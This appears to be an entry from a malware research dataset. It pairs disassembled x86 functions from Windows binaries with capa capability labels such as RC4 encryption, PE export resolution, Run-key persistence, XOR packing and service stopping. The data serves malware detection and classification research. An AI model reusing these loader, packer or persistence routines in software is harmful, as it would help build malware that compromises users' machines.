joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101193b3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x58
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x1012c2c4]
add esi, 0xffffe84f
mov dword [0x1012c2c8], esi
mov dword [0x1012c2c4], 0x1cf9
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov cl, byte [eax + 0x1011b395]
mov dl, byte [eax + 0x1011b366]
sub dl, cl
mov byte [ebp + eax - 0x28], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x34], eax
jne 0x101193e8
lea eax, [ebp - 0x28]
mov dword [0x1012c2c8], 0x192a
mov dword [ebp - 0x38], eax
call fcn.1011a2b8
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.10118cd6
xor ecx, ecx
mov dword [0x1012c2c4], 0x1b3f
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x10119518
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x1012c2c8], 0x2264
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.10118e52
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x1012c2c8], 0x362
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x1012c2c4], 0xffffedce
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x24], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 4], ecx
mov esi, dword [0x1012c2c4]
mov edi, esi
add edi, 0x190c
mov dword [0x1012c2c4], edi
cmp ecx, 0
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x40], eax
je 0x10119518
mov eax, dword [ebp - 0x44]
add eax, 0x18e1
mov ecx, dword [ebp - 0x48]
add ecx, 0xfffff8de
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov dword [0x1012c2c8], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
add esp, 0x58
pop esi
pop edi
pop ebp
ret
Function at 0x101195a4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1012c2c8], 0x49b
mov dword [0x1012c2cc], 0
mov dword [0x1012c2d0], 0
mov dword [0x1012c2dc], 0
mov ebx, dword [0x1012c2c4]
add ebx, 0xfffff65a
mov dword [0x1012c2c4], ebx
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x10119635
jmp 0x10119647
mov eax, dword [0x1012c2cc]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x1012c2d0]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x10119647
mov dword [0x1012c2c4], 0xc52
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, ecx
add edi, 1
mov dword [ebp - 0x34], eax
mov eax, edx
cdq
idiv esi
mov dword [0x1012c2cc], edx
mov dword [0x1012c2c4], 0x70b
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x34]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x3c], edx
cdq
idiv esi
mov dword [0x1012c2d0], edx
mov dword [0x1012c2c4], 0x448
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x1012c2d4], cl
mov dword [0x1012c2c4], 0x829
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1012c2d4]
mov edx, dword [0x1012c2d0]
mov byte [ebx + edx], cl
mov dword [0x1012c2c8], 0x2409
mov edx, dword [0x1012c2cc]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1012c2d0]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1012c2dc], ecx
mov dword [0x1012c2c4], 0x1e55
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x38]
mov ch, byte [edx + esi]
mov dword [0x1012c2c4], 0x1b9f
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [0x1012c2c4]
add edx, 0xffffe768
mov dword [0x1012c2c8], edx
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x30], edi
je 0x10119635
jmp 0x10119617
Function at 0x10119b4a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.10118b54
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x1012c2c4], 0x2700
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov ebx, dword [eax + esi + 0x24]
mov dword [0x1012c2c8], 0x17c2
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x10119c92
jmp 0x10119c1b
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov esi, dword [ebp - 0x24]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
jmp 0x10119bf0
mov eax, dword [ebp - 0x44]
add eax, 1
mov cl, byte [ebp - 0x45]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x46]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x40], eax
jne 0x10119bf0
jmp 0x10119c30
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x46], cl
je 0x10119c30
jmp 0x10119bc6
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
jmp 0x10119baa
mov al, byte [ebp - 0x46]
test al, 1
jne 0x10119c63
jmp 0x10119c39
xor eax, eax
mov ecx, dword [ebp - 0x38]
add ecx, 2
mov edx, dword [ebp - 0x34]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], eax
jb 0x10119baa
jmp 0x10119c92
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1012c2c8], 0x1e15
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x1012c2c4], 0xfffff9b0
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10119c9d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.101190db
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x44], 0x15c400
mov dword [0x1012c2c4], 0x1fd
mov ecx, dword [0x1012c2b0]
mov dword [esp + 0x74], ecx
mov ecx, dword [0x1012c2b4]
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x20], eax
lea eax, [0x1011a033]
mov ecx, 0xb35
mov edx, dword [0x1012c2b8]
mov dword [esp + 0x38], edx
mov edx, dword [0x1012c2bc]
mov dword [esp + 0x80], edx
mov dword [0x1012c2c8], 0xf1
mov edx, dword [0x1012c2c0]
mov dword [esp + 0x70], edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
jmp 0x10119d7a
lea eax, [esp + 0x38]
mov ecx, dword [0x1012c2c8]
add ecx, 0xf02
mov dword [0x1012c2c8], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101193b3
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x1012c2c8], 0x23d9
mov dword [esp + 0x14], eax
jmp 0x10119e0c
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov dword [0x1012c2c4], eax
cmp word [ecx], 0x5a4d
mov dword [esp + 0x10], ecx
jne 0x10119daf
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
cmp dword [eax], 0x4550
je 0x10119dce
mov eax, 0xffffddd6
mov ecx, dword [esp + 0x10]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
jmp 0x10119d7a
mov eax, dword [esp + 0x10]
mov dword [esp + 0x40], eax
mov dword [0x1012c2c8], 0xffffff2b
mov dword [0x1012c2c4], 0x2700
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x54], edx
call fcn.10119eba
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x14], ecx
je 0x10119d2f
mov eax, dword [esp + 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x10119eba
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov edx, dword [0x1012c2c4]
mov esi, edx
add esi, 0xfffffc53
mov dword [0x1012c2c8], esi
mov esi, dword [ebp - 0x10]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], ecx
jmp 0x10119fb1
mov eax, 0x24a4
mov ecx, 0x834
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
mov di, word [edx + esi*2 - 0xe]
cmp di, 0x6c
sete bl
cmp di, 0x6c
mov byte [ebp - 0x25], bl
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], eax
je 0x10119f36
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [0x1012c2c4], eax
mov cl, byte [ebp - 0x25]
and cl, 1
movzx eax, cl
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x1012c2c4], 0x1ec
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x10119ff3
jmp 0x1011a029
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x1c]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x24], eax
je 0x10119fcf
jmp 0x1011a029
mov eax, dword [ebp - 0x38]
add eax, 0xffffec2a
mov dword [0x1012c2c4], eax
mov ecx, dword [ebp - 0x3c]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], ecx
jge 0x10119f71
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], esi
je 0x10119f71
jmp 0x10119f88
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1011a029
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x10119f4f
jmp 0x1011a029
mov dword [0x1012c2c8], 0x1c79
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1011a029
mov dword [0x1012c2c8], 0x166c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x10119f03
xor eax, eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10001000
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x10009b88]
sub esp, 0x420
test eax, eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
jne 0x1000107d
lea eax, [esp + 0x1c]
push str.krptOrg
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x10009b88], eax
jne 0x1000107d
lea edx, [esp + 0x1c]
lea eax, [esp + 0x224]
push edx
push 0x10007068
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x224]
push 0x10
push str.AheadLib
push ecx
push 0
call ebx
mov eax, dword [0x10009b88]
test eax, eax
jne 0x1000107d
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [esp + 0x430]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x100010d9
mov edx, esi
shr edx, 0x10
jne 0x100010ab
push esi
lea eax, [esp + 0x10]
push 0x10007058
push eax
call edi
add esp, 0xc
lea esi, [esp + 0xc]
push esi
lea ecx, [esp + 0x124]
push 0x10007030
push ecx
call edi
add esp, 0xc
lea edx, [esp + 0x120]
push 0x10
push str.AheadLib
push edx
push 0
call ebx
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
add esp, 0x420
ret 4

Function at 0x100010f0
Capabilities:
Persist via run registry key

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x108
cmp eax, 1
jne 0x10001151
push str.23.all
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp]
push ecx
push str.SoftwareMicrosoftwindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10001165
mov edx, dword [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 1
add esp, 0x108
ret 0xc
test eax, eax
jne 0x10001165
mov eax, dword [0x10009b88]
test eax, eax
je 0x10001165
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add esp, 0x108
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4027f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x48
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push 0x414ec0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
mov esi, eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x1a]
mov eax, dword [esp + 0x18]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x14]
and eax, 0xffff
push edx
mov edx, dword [esp + 0x1e]
push eax
mov eax, dword [esp + 0x1e]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
lea ecx, [esp + 0x38]
push str._02d__02d__4d__02d:_02d:_02d
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [esp + 0xc]
not ecx
push 0
dec ecx
push edx
lea eax, [esp + 0x28]
push ecx
push eax
push esi
call ebx
mov edx, dword [esp + 0x58]
lea ecx, [esp + 0xc]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0x48
ret

Function at 0x4028d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x108
mov eax, dword [esp + 0x110]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x118]
push edi
and eax, 0xffff
push 0xa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, dword [esp + 0x124]
mov dword [esp + 0x10], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x413818
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x12c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00405e96
mov esi, eax
add esp, 8
test esi, esi
je 0x40299f
mov ecx, dword [esp + 0x10]
push esi
push ebp
push 1
push ecx
call fcn.00405d2c
push esi
call fcn.00405caf
add esp, 0x14
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x4029c0
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
push SysReAllocStringLen
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
push 0x24
push str.EVENTPARSER
push ebx
mov dword [esp + 0x1c], ebx
call esi
mov edi, eax
test edi, edi
jne 0x402a01
push 0x24
push str.EVENTPARSER301
push ebx
call esi
mov edi, eax
mov eax, dword [0x414fc8]
push 0x24
push eax
push ebx
call esi
lea ecx, [esp + 0x14]
mov esi, eax
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov eax, dword [esp + 0x18]
cmp eax, 4
je 0x402a36
cmp eax, 3
jne 0x402a47
push 0x1f4
call ebx
lea edx, [esp + 0x14]
push edx
push esi
call ebp
jmp 0x402a28
lea eax, [esp + 0x14]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [esp + 0x18]
cmp eax, 4
je 0x402a63
cmp eax, 3
jne 0x402a74
push 0x1f4
call ebx
lea ecx, [esp + 0x14]
push ecx
push edi
call ebp
jmp 0x402a55
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret

Function at 0x402ae0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x110
lea eax, [esp + 4]
push ebx
push esi
push eax
push str.SOFTWARENetwork_AssociatesePolicy_OrchestratorAgent
push reloc.OLEAUT32.dll_SysReAllocString
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp eax, ebx
jne 0x402bb1
lea ecx, [esp + 8]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push eax
push ebx
push str.Installed_Path
push ecx
mov dword [esp + 0x20], 0x103
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0xc]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x402bb1
mov eax, dword [esp + 8]
push ebp
push edi
mov edi, str._nagshr32.dll
mov byte [esp + eax + 0x1c], bl
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
pop edi
cmp esi, ebx
pop ebp
je 0x402bb1
push str.LoadPluginDLL
push esi
call dword [0x414ea4]
cmp eax, ebx
je 0x402baa
mov ecx, dword [esp + 0x11c]
push ecx
call eax
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x402bc0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x110
lea eax, [esp + 4]
push ebx
push esi
push eax
push str.SOFTWARENetwork_AssociatesePolicy_OrchestratorAgent
push reloc.OLEAUT32.dll_SysReAllocString
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp eax, ebx
jne 0x402c91
lea ecx, [esp + 8]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push eax
push ebx
push str.Installed_Path
push ecx
mov dword [esp + 0x20], 0x103
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0xc]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x402c91
mov eax, dword [esp + 8]
push ebp
push edi
mov edi, str._nagshr32.dll
mov byte [esp + eax + 0x1c], bl
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
pop edi
cmp esi, ebx
pop ebp
je 0x402c91
push str.UnloadPluginDLL
push esi
call dword [0x414ea4]
cmp eax, ebx
je 0x402c8a
mov ecx, dword [esp + 0x11c]
push ecx
call eax
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x402ca0
Capabilities:
Create process on windows
Create process suspended
Query or enumerate registry value

Disassembly:
sub esp, 0x170
mov eax, dword [str._clear]
mov cx, word [0x413914]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], cx
mov dl, byte [0x413916]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
mov ebx, 0x103
push eax
push 1
push 0
push str.SOFTWARENetwork_AssociatesePolicy_OrchestratorApplication_PluginsPATCH___1100
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x32], dl
mov dword [esp + 0x24], ebx
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x78], 0x80
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x20]
lea edx, [esp + 0x7c]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push str.Plugin_Path
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x7c]
push 0x2e
push eax
call fcn.00405eb0
mov byte [eax], 0
mov edi, str..exe
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov ebp, 3
and ecx, ebp
lea eax, [esp + 0x28]
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
lea edx, [esp + 0x34]
push 0
lea eax, [esp + 0x9c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, dword [0x414fcc]
jne 0x402dce
cmp eax, ebp
jne 0x402e15
push str.Couldnt_launch_scanner_r_n
call fcn.004027f0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x170
ret
cmp eax, ebp
jne 0x402ddf
push str.Waiting_for_scanner_to_clear_violations_r_n
call fcn.004027f0
add esp, 4
cmp dword [esp + 0x10], ebx
jne 0x402e01
mov esi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x10]
push ecx
push edx
call esi
test eax, eax
je 0x402e01
cmp dword [esp + 0x10], ebx
je 0x402deb
mov eax, dword [esp + 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x28]
push ecx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x170
ret